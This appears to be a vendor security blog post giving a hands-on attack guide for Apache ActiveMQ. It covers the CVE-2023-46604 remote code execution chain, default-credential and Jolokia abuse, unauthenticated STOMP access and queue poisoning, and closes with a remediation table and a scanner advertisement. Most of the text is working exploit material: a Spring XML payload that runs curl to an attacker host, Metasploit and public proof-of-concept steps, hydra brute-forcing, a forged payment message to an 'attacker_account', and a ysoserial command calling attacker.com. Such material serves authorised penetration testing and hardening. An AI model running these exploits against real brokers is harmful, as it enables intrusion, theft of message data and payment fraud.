Apache ActiveMQ is one of the most widely deployed message brokers in enterprise environments โ and one of the most frequently found exposed with default credentials or unpatched against critical vulnerabilities. CVE-2023-46604 disclosed in late 2023 gives unauthenticated remote code execution on any exposed ActiveMQ broker running versions before 5.15.16, 5.16.7, 5.17.6, or 5.18.3. This guide covers the full ActiveMQ security testing picture: the CVE-2023-46604 exploit chain, admin console exposure, default credential abuse, OpenWire protocol attacks, and message queue poisoning.
ActiveMQ exposes multiple network services simultaneously: the OpenWire binary protocol on port 61616 (used by JMS clients), an HTTP/WebSocket interface for STOMP and MQTT protocols, and a web-based admin console on port 8161. Each of these surfaces has been the source of critical vulnerabilities.
| Service | Default Port | Protocol | Key Risks |
|---|---|---|---|
| OpenWire broker | 61616 | Binary (OpenWire) | CVE-2023-46604 RCE, deserialization, unauthenticated access |
| Admin console | 8161 | HTTP | Default admin/admin, queue message browsing, configuration exposure |
| STOMP | 61613 | Text protocol | Unauthenticated access, message injection |
| AMQP | 5672 | AMQP 1.0 | Protocol-level authentication bypass in some versions |
| MQTT | 1883 | MQTT | Unauthenticated subscription to all topics |
| JMX | 1099 | RMI/JMX | Unauthenticated JMX access allows broker management and RCE |
The vulnerability exists in the OpenWire protocol's ExceptionResponse handling. The ClassPathXmlApplicationContext in Spring Framework is abused through a crafted ExceptionResponse message that triggers the broker to load and instantiate a remote ClassInfo definition from an attacker-controlled URL. This causes arbitrary class instantiation โ effectively unauthenticated RCE.
# Nmap version detection on OpenWire port
nmap -sV -p 61616 target-ip
# Look for: ActiveMQ/5.x.x in the banner
# Curl the admin console for version info (if accessible)
curl -u admin:admin http://target-ip:8161/admin/
curl http://target-ip:8161/api/jolokia/read/org.apache.activemq:type=Broker/BrokerVersion
# Check OpenWire banner directly (netcat)
echo "" | nc -w 3 target-ip 61616 | strings | grep -i activemq
# Vulnerable versions:
# ActiveMQ <= 5.15.15
# ActiveMQ <= 5.16.6
# ActiveMQ <= 5.17.5
# ActiveMQ <= 5.18.2
# Step 1: Host a malicious ClassInfo XML on an HTTP server
# This POC uses a simple command execution class loaded via Spring context
# poc-class.xml (host this at http://attacker-ip:8888/poc.xml):
cat <<'EOF' > poc.xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>curl http://attacker-ip/$(whoami)</value>
</list>
</constructor-arg>
</bean>
</beans>
EOF
# Step 2: Start HTTP server to host the XML
python3 -m http.server 8888
# Step 3: Start listener to receive the callback
nc -lvp 4444
# Step 4: Send the exploit (public PoC tools)
# Using the activemq-exploit PoC:
git clone https://github.com/X1r0z/ActiveMQ-RCE
cd ActiveMQ-RCE
go run main.go -i target-ip -u http://attacker-ip:8888/poc.xml
# Metasploit module (available post-disclosure):
use exploit/multi/misc/apache_activemq_rce_cve_2023_46604
set RHOSTS target-ip
set LHOST attacker-ip
set LPORT 4444
run
# Nmap scan for exposed OpenWire ports across a network range
nmap -p 61616 --open 10.0.0.0/16 -oG activemq-hosts.txt
# Extract hosts and check versions
grep "61616/open" activemq-hosts.txt | awk '{print $2}' | while read host; do
version=$(echo "" | nc -w 2 "$host" 61616 2>/dev/null | strings | grep -i "activemq")
echo "$host: $version"
done
# Shodan query for internet-exposed ActiveMQ instances:
# port:61616 product:"Apache ActiveMQ"
# port:8161 title:"ActiveMQ"
ActiveMQ's web admin console at port 8161 uses Jetty as its embedded web server. Out-of-the-box, it ships with admin:admin credentials and no network binding restrictions โ it listens on 0.0.0.0 by default in many package manager installations.
# Test default admin:admin credentials
curl -v -u admin:admin http://target-ip:8161/admin/
curl -v -u admin:admin http://target-ip:8161/api/jolokia/
# Common default credential pairs for ActiveMQ:
# admin:admin (most common)
# admin:password
# admin:activemq
# system:manager
# user:user
# Automated credential testing:
hydra -L users.txt -P passwords.txt \
http-get://target-ip:8161/admin/ \
-s 8161
# Check if Jolokia API is accessible (common in containerized deployments):
curl http://target-ip:8161/api/jolokia/read/org.apache.activemq:type=Broker/BrokerVersion
# No auth required? Jolokia exposes full JMX management interface over HTTP
# Once authenticated, the admin console exposes:
# 1. List all queues and topic names (may reveal internal service architecture)
curl -u admin:admin http://target-ip:8161/api/jolokia/read/\
org.apache.activemq:type=Broker,brokerName=localhost,destinationType=Queue,destinationName=*
# 2. Browse message contents in queues (may contain PII, credentials, session tokens)
curl -u admin:admin \
"http://target-ip:8161/admin/browse.jsp?JMSDestination=payments.queue"
# 3. Read broker configuration
curl -u admin:admin http://target-ip:8161/api/jolokia/read/\
org.apache.activemq:type=Broker,brokerName=localhost/DataDirectory
# 4. Access the full Jolokia JMX tree (equivalent to JMX console access)
curl -u admin:admin http://target-ip:8161/api/jolokia/list | jq '.value | keys'
# Jolokia exposes MBeans over HTTP, including the ClassLoader
# If authenticated to the admin console, Jolokia can be abused for RCE
# Invoke the exec operation on an ActiveMQ mbean to load a class:
curl -u admin:admin -X POST http://target-ip:8161/api/jolokia/ \
-H "Content-Type: application/json" \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "addConnector",
"arguments": ["nio://0.0.0.0:61620"]
}'
# More direct: use Jolokia to exec arbitrary Java code via BeanShell script engine:
# (version-dependent โ available in some ActiveMQ configurations)
The OpenWire protocol on port 61616 is used by JMS clients. Without transport-level authentication configured, any client can connect and interact with the broker โ reading messages, publishing to queues, and enumerating the broker configuration.
# Using activemq-cli for unauthenticated enumeration
# Install via pip or download the JAR
# Connect without credentials (if authentication not enforced):
activemq-cli --url tcp://target-ip:61616
# ActiveMQ Python client for enumeration:
import stomp
class MessageListener(stomp.ConnectionListener):
def on_message(self, headers, message):
print(f"Queue: {headers.get('destination')}")
print(f"Message: {message[:200]}")
conn = stomp.Connection([('target-ip', 61613)])
conn.set_listener('', MessageListener())
conn.connect(wait=True) # No credentials โ tests if auth is enforced
# Subscribe to all queues via wildcard (STOMP protocol):
conn.subscribe(destination='>', id=1, ack='auto')
# This will receive messages from ALL queues if the broker allows it
# Check if the broker requires authentication for OpenWire connections
# ActiveMQ's conf/activemq.xml controls authentication plugins
# Probe without credentials:
python3 -c "
import socket
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('target-ip', 61616))
banner = s.recv(1024)
print(repr(banner[:100]))
s.close()
"
# If the broker banner is returned without auth challenge,
# authentication is not enforced on the OpenWire port
# Check if ANONYMOUS access is configured (common in dev deployments):
# In activemq.xml: <authorizationPlugin> may be absent or permissive
# On the admin console: Connections tab shows connected clients and their usernames
If an attacker can read from or write to ActiveMQ queues, the impact extends beyond the broker itself. Queues carry business logic between services โ payment events, authentication tokens, order data, and internal API calls. Unauthorized access to these messages has operational and data protection implications.
# Via admin console (HTTP):
# Navigate to http://target-ip:8161/admin/browse.jsp?JMSDestination=QUEUE_NAME
# Messages are shown in plaintext including headers
# Via Jolokia API:
curl -u admin:admin \
"http://target-ip:8161/api/jolokia/exec/\
org.apache.activemq:type=Broker,brokerName=localhost,\
destinationType=Queue,destinationName=payments/\
browseMessages()"
# Via STOMP (if authentication not enforced):
import stomp
conn = stomp.Connection([('target-ip', 61613)])
conn.connect(wait=True)
# Subscribe and consume a single message:
conn.subscribe(destination='/queue/payments', id=1, ack='client')
# Messages will arrive in the listener โ ACK them to permanently remove from queue
# Inject malicious messages into application queues
# This can manipulate business logic in downstream consumers
import stomp
conn = stomp.Connection([('target-ip', 61613)])
conn.connect(wait=True)
# Inject a crafted message to a payment processing queue
conn.send(
destination='/queue/payment-processing',
body='{"amount": 0.01, "recipient": "attacker_account", "currency": "USD"}',
headers={'content-type': 'application/json', 'correlation-id': 'legit-tx-id'}
)
# Or inject a serialized Java object if the consumer deserializes untrusted data
# This is the classic Java deserialization attack path via JMS messages
# ActiveMQ supports ObjectMessage โ JMS messages containing serialized Java objects
# Consumers that call message.getObject() on untrusted messages are vulnerable to deserialization
# Check if the application accepts ObjectMessage:
# 1. Send an ObjectMessage with ysoserial payload
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/rce' > payload.ser
# ActiveMQ Python can't send ObjectMessages natively โ use the Java ActiveMQ client:
# ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory("tcp://target:61616");
# Connection conn = factory.createConnection();
# Session session = conn.createSession(false, Session.AUTO_ACKNOWLEDGE);
# ObjectMessage msg = session.createObjectMessage(deserializable_payload);
# producer.send(msg);
# Complete port scan for all ActiveMQ-related services
nmap -sV -p 61616,8161,61613,5672,1883,1099,61617 target-ip
# Service fingerprints:
# 61616/tcp: OpenWire (binary)
# 8161/tcp: Jetty HTTP (admin console)
# 61613/tcp: STOMP
# 5672/tcp: AMQP
# 1883/tcp: MQTT
# 1099/tcp: JMX/RMI
# 61617/tcp: OpenWire with SSL
# Check TLS on SSL port:
openssl s_client -connect target-ip:61617 2>&1 | head -20
# Check JMX access (high-value: JMX = full broker management without HTTP auth):
# JMX RMI is typically on a dynamic port but registered with port 1099
nmap -p 1099 --script rmi-dumpregistry target-ip
# If JMX is accessible without auth:
# Use jmxterm or jconsole to connect
# java -jar jmxterm.jar
# connect target-ip:1099
# bean org.apache.activemq:type=Broker,brokerName=localhost
# run invoke addConnector nio://0.0.0.0:61620
The CVE-2023-46604 finding is especially important because it's a pre-auth RCE that requires only network access to port 61616. Many organizations have ActiveMQ brokers in "internal" network segments that are still reachable from compromised workstations โ Ironimo maps this exposure during infrastructure scanning so it appears in scope before exploitation is attempted.
| Finding | Severity | Fix |
|---|---|---|
| CVE-2023-46604 โ vulnerable version exposed | Critical | Upgrade to 5.15.16 / 5.16.7 / 5.17.6 / 5.18.3 or later immediately |
| Default admin:admin credentials on admin console | Critical | Change all default credentials; restrict admin console to management network |
| OpenWire port (61616) accessible without authentication | Critical | Enable JAAS authentication plugin in activemq.xml; restrict port access via firewall |
| Jolokia API accessible without authentication | High | Add authentication to Jolokia endpoint; disable Jolokia if not needed |
| JMX accessible on port 1099 without authentication | High | Disable JMX or enforce authentication; bind to localhost only |
| Admin console accessible from production networks | High | Bind admin console to 127.0.0.1; use SSH tunnel or VPN for admin access |
| STOMP/MQTT without authentication | Medium | Enable transport authentication for all protocols; disable unused protocol ports |
| No TLS on OpenWire or admin console | Medium | Configure SSL transport on 61617; enable HTTPS on admin console |
| ActiveMQ admin console exposed to internet | Medium | Place behind reverse proxy with authentication; add IP allowlist |
ActiveMQ's attack surface is wide, but the highest-priority fix is straightforward: patch CVE-2023-46604, change default credentials, and ensure the broker isn't directly reachable from untrusted networks. These three actions eliminate the most commonly exploited attack paths. The protocol-level authentication and TLS configuration are table stakes for any production deployment โ but they're often skipped because ActiveMQ "works" without them.
Ironimo scans for ActiveMQ across all ports, detects CVE-2023-46604-vulnerable versions, and tests default credentials automatically โ without manual configuration.
Start free scan